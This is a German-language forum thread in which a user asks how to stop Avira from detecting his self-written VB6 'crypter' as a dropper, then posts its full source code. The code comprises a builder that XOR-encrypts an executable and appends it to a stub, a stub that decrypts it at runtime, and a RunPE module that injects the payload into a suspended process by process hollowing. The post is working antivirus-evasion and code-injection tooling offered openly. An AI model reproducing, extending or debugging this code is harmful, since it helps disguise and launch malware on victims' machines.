Eigener Crypter wird von Avira erkannt!

  • VB6

Es gibt 7 Antworten in diesem Thema. Der letzte Beitrag () ist von bla.

    Eigener Crypter wird von Avira erkannt!

    Guten Tag!
    Ich habe mir in VB6 einen einenen Crypter geschrieben!
    Für alle die es noch nicht wissen ein Crypter ist ein Programm das Texte, Dateien oder ähnliches verschlüsselt.
    Ich habe gelesen, dass Avira bei einer RC4 verschlüsselung zuschlägt deswegen habe ich mich für eine andere endschieden aber sobald ich sie an meinem Portscanner oder anderer application verwende meldet Avira gleich das es ein Tr.Dropper.Gen ist was bedeutet das und wie mache ich es weg?

    Danke im vorraus!!

    Geschlossen !

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „mikeb69“ ()

    neeh es ist bei allem dateien egal welche
    ich poste mal den source code hier der Client

    Visual Basic-Quellcode

    1. Private Sub cmdProtect_Click()
    2. Dim Stub As String
    3. Open App.Path & "\Stub.exe" For Binary As #SSTUB
    4. Stub = Space(LOF(SSTUB))
    5. Get #SSTUB, , Stub
    6. Close #SSTUB
    7. With CD
    8. .DialogTitle = "Select Where you want to Save Crypted File"
    9. .Filter = "EXE Files |*.exe"
    10. .ShowSave
    11. End With
    12. Dim File As String
    13. Open txtfile.Text For Binary As #FFILE
    14. File = Space(LOF(FFILE))
    15. Get #FFILE, , File
    16. Close #FFILE
    17. File = Crypt(File, "SKYWEB", True)
    18. Open CD.FileName For Binary As #1
    19. Put #1, , Stub & "[DELIMITER]" & File
    20. Close #1
    21. MsgBox "Hey All is Done ;)", vbInformation
    22. End Sub
    23. Private Sub cmdSearch_Click()
    24. With CD
    25. .DialogTitle = "Select The file you Want to Protect"
    26. .Filter = "EXE Files |*.exe"
    27. .ShowOpen
    28. End With
    29. If Not CD.FileName = vbNullString Then
    30. txtfile.Text = CD.FileName
    31. End If
    32. End Sub
    33. Private Function Crypt(Inp As String, Key As String, Mode As Boolean) As String
    34. Dim z As String
    35. Dim i As Integer, Position As Integer
    36. Dim cptZahl As Long, orgZahl As Long
    37. Dim keyZahl As Long, cptString As String
    38. For i = 1 To Len(Inp)
    39. Position = Position + 1
    40. If Position > Len(Key) Then Position = 1
    41. keyZahl = Asc(Mid(Key, Position, 1))
    42. If Mode Then
    43. 'Verschlüsseln
    44. orgZahl = Asc(Mid(Inp, i, 1))
    45. cptZahl = orgZahl Xor keyZahl
    46. cptString = Hex(cptZahl)
    47. If Len(cptString) < 2 Then cptString = "0" & cptString
    48. z = z & cptString
    49. Else
    50. 'Entschlüsseln
    51. If i > Len(Inp) \ 2 Then Exit For
    52. cptZahl = CByte("&H" & Mid$(Inp, i * 2 - 1, 2))
    53. orgZahl = cptZahl Xor keyZahl
    54. z = z & Chr$(orgZahl)
    55. End If
    56. Next i
    57. Crypt = z
    58. End Function


    und hier die stub

    Stubx.bas

    Visual Basic-Quellcode

    1. Sub Main()
    2. Dim MEX As String
    3. MEX = App.Path & "\" & App.EXEName & ".exe"
    4. Dim Data As String
    5. Open MEX For Binary As #1
    6. Data = Space(LOF(1))
    7. Get #1, , Data
    8. Close #1
    9. Dim Delimiter() As String
    10. Delimiter() = Split(Data, "[DELIMITER]")
    11. Delimiter(1) = Crypt(Delimiter(1), "SKYWEB", False) ' Decypt The Data
    12. Call Injec(MEX, StrConv(Delimiter(1), vbFromUnicode), vbNullString)
    13. End Sub
    14. Private Function Crypt(Inp As String, Key As String, Mode As Boolean) As String
    15. Dim z As String
    16. Dim i As Integer, Position As Integer
    17. Dim cptZahl As Long, orgZahl As Long
    18. Dim keyZahl As Long, cptString As String
    19. For i = 1 To Len(Inp)
    20. Position = Position + 1
    21. If Position > Len(Key) Then Position = 1
    22. keyZahl = Asc(Mid(Key, Position, 1))
    23. If Mode Then
    24. 'Verschlüsseln
    25. orgZahl = Asc(Mid(Inp, i, 1))
    26. cptZahl = orgZahl Xor keyZahl
    27. cptString = Hex(cptZahl)
    28. If Len(cptString) < 2 Then cptString = "0" & cptString
    29. z = z & cptString
    30. Else
    31. 'Entschlüsseln
    32. If i > Len(Inp) \ 2 Then Exit For
    33. cptZahl = CByte("&H" & Mid$(Inp, i * 2 - 1, 2))
    34. orgZahl = cptZahl Xor keyZahl
    35. z = z & Chr$(orgZahl)
    36. End If
    37. Next i
    38. Crypt = z
    39. End Function


    RunPE.bas

    Visual Basic-Quellcode

    1. Option Explicit
    2. Private Const CONTEXT_FULL As Long = &H10007
    3. Private Const MAX_PATH As Integer = 260
    4. Private Const CREATE_SUSPENDED As Long = &H4
    5. Private Const MEM_COMMIT As Long = &H1000
    6. Private Const MEM_RESERVE As Long = &H2000
    7. Private Const PAGE_EXECUTE_READWRITE As Long = &H40
    8. Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
    9. Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
    10. Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long
    11. Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
    12. Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
    13. Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
    14. Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
    15. Private Type SECURITY_ATTRIBUTES
    16. nLength As Long
    17. lpSecurityDescriptor As Long
    18. bInheritHandle As Long
    19. End Type
    20. Private Type STARTUPINFO
    21. cb As Long
    22. lpReserved As Long
    23. lpDesktop As Long
    24. lpTitle As Long
    25. dwX As Long
    26. dwY As Long
    27. dwXSize As Long
    28. dwYSize As Long
    29. dwXCountChars As Long
    30. dwYCountChars As Long
    31. dwFillAttribute As Long
    32. dwFlags As Long
    33. wShowWindow As Integer
    34. cbReserved2 As Integer
    35. lpReserved2 As Long
    36. hStdInput As Long
    37. hStdOutput As Long
    38. hStdError As Long
    39. End Type
    40. Private Type PROCESS_INFORMATION
    41. hProcess As Long
    42. hThread As Long
    43. dwProcessId As Long
    44. dwThreadID As Long
    45. End Type
    46. Private Type FLOATING_SAVE_AREA
    47. ControlWord As Long
    48. StatusWord As Long
    49. TagWord As Long
    50. ErrorOffset As Long
    51. ErrorSelector As Long
    52. DataOffset As Long
    53. DataSelector As Long
    54. RegisterArea(1 To 80) As Byte
    55. Cr0NpxState As Long
    56. End Type
    57. Private Type CONTEXT
    58. ContextFlags As Long
    59. Dr0 As Long
    60. Dr1 As Long
    61. Dr2 As Long
    62. Dr3 As Long
    63. Dr6 As Long
    64. Dr7 As Long
    65. FloatSave As FLOATING_SAVE_AREA
    66. SegGs As Long
    67. SegFs As Long
    68. SegEs As Long
    69. SegDs As Long
    70. Edi As Long
    71. Esi As Long
    72. Ebx As Long
    73. Edx As Long
    74. Ecx As Long
    75. Eax As Long
    76. Ebp As Long
    77. Eip As Long
    78. SegCs As Long
    79. EFlags As Long
    80. Esp As Long
    81. SegSs As Long
    82. End Type
    83. Private Type IMAGE_DOS_HEADER
    84. e_magic As Integer
    85. e_cblp As Integer
    86. e_cp As Integer
    87. e_crlc As Integer
    88. e_cparhdr As Integer
    89. e_minalloc As Integer
    90. e_maxalloc As Integer
    91. e_ss As Integer
    92. e_sp As Integer
    93. e_csum As Integer
    94. e_ip As Integer
    95. e_cs As Integer
    96. e_lfarlc As Integer
    97. e_ovno As Integer
    98. e_res(0 To 3) As Integer
    99. e_oemid As Integer
    100. e_oeminfo As Integer
    101. e_res2(0 To 9) As Integer
    102. e_lfanew As Long
    103. End Type
    104. Private Type IMAGE_FILE_HEADER
    105. Machine As Integer
    106. NumberOfSections As Integer
    107. TimeDateStamp As Long
    108. PointerToSymbolTable As Long
    109. NumberOfSymbols As Long
    110. SizeOfOptionalHeader As Integer
    111. characteristics As Integer
    112. End Type
    113. Private Type IMAGE_DATA_DIRECTORY
    114. VirtualAddress As Long
    115. Size As Long
    116. End Type
    117. Private Type IMAGE_OPTIONAL_HEADER
    118. Magic As Integer
    119. MajorLinkerVersion As Byte
    120. MinorLinkerVersion As Byte
    121. SizeOfCode As Long
    122. SizeOfInitializedData As Long
    123. SizeOfUnitializedData As Long
    124. AddressOfEntryPoint As Long
    125. BaseOfCode As Long
    126. BaseOfData As Long
    127. ' NT additional fields.
    128. ImageBase As Long
    129. SectionAlignment As Long
    130. FileAlignment As Long
    131. MajorOperatingSystemVersion As Integer
    132. MinorOperatingSystemVersion As Integer
    133. MajorImageVersion As Integer
    134. MinorImageVersion As Integer
    135. MajorSubsystemVersion As Integer
    136. MinorSubsystemVersion As Integer
    137. W32VersionValue As Long
    138. SizeOfImage As Long
    139. SizeOfHeaders As Long
    140. CheckSum As Long
    141. SubSystem As Integer
    142. DllCharacteristics As Integer
    143. SizeOfStackReserve As Long
    144. SizeOfStackCommit As Long
    145. SizeOfHeapReserve As Long
    146. SizeOfHeapCommit As Long
    147. LoaderFlags As Long
    148. NumberOfRvaAndSizes As Long
    149. DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
    150. End Type
    151. Private Type IMAGE_NT_HEADERS
    152. Signature As Long
    153. FileHeader As IMAGE_FILE_HEADER
    154. OptionalHeader As IMAGE_OPTIONAL_HEADER
    155. End Type
    156. Private Type IMAGE_SECTION_HEADER
    157. SecName As String * 8
    158. VirtualSize As Long
    159. VirtualAddress As Long
    160. SizeOfRawData As Long
    161. PointerToRawData As Long
    162. PointerToRelocations As Long
    163. PointerToLinenumbers As Long
    164. NumberOfRelocations As Integer
    165. NumberOfLinenumbers As Integer
    166. characteristics As Long
    167. End Type
    168. Private Function CallAPI(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
    169. Dim lPtr As Long
    170. Dim bvASM(&HEC00& - 1) As Byte
    171. Dim i As Long
    172. Dim lMod As Long
    173. lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
    174. If lMod = 0 Then Exit Function
    175. lPtr = VarPtr(bvASM(0))
    176. RtlMoveMemory ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
    177. RtlMoveMemory ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
    178. For i = UBound(Params) To 0 Step -1
    179. RtlMoveMemory ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
    180. RtlMoveMemory ByVal lPtr, CLng(Params(i)), &H4: lPtr = lPtr + 4
    181. Next
    182. RtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
    183. RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
    184. RtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1
    185. CallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
    186. End Function
    187. Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
    188. Dim i As Long
    189. Dim Pidh As IMAGE_DOS_HEADER
    190. Dim Pinh As IMAGE_NT_HEADERS
    191. Dim Pish As IMAGE_SECTION_HEADER
    192. Dim Si As STARTUPINFO
    193. Dim Pi As PROCESS_INFORMATION
    194. Dim Ctx As CONTEXT
    195. Si.cb = Len(Si)
    196. RtlMoveMemory Pidh, bvBuff(0), 64
    197. RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248
    198. CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
    199. CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
    200. CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
    201. WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0
    202. For i = 0 To Pinh.FileHeader.NumberOfSections - 1
    203. RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
    204. WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
    205. Next i
    206. Ctx.ContextFlags = CONTEXT_FULL
    207. CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
    208. WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
    209. Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
    210. CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
    211. CallAPI "kernel32", "ResumeThread", Pi.hThread
    212. End Sub
    213. Public Function StrToBytArray(ByVal sStr As String) As Byte()
    214. Dim i As Long
    215. Dim Buffer() As Byte
    216. ReDim Buffer(Len(sStr) - 1)
    217. For i = 1 To Len(sStr)
    218. Buffer(i - 1) = Asc(Mid(sStr, i, 1))
    219. Next i
    220. StrToBytArray = Buffer
    221. End Function
    222. Public Function ThisExe() As String
    223. Dim lRet As Long
    224. Dim bvBuff(255) As Byte
    225. lRet = CallAPI("kernel32", "GetModuleFileNameA", App.hInstance, VarPtr(bvBuff(0)), 256)
    226. ThisExe = Left$(StrConv(bvBuff, vbUnicode), lRet)
    227. End Function


    naja an der verschlüsselung arbeite ich noch im moment ist das eine geklaute aus google :D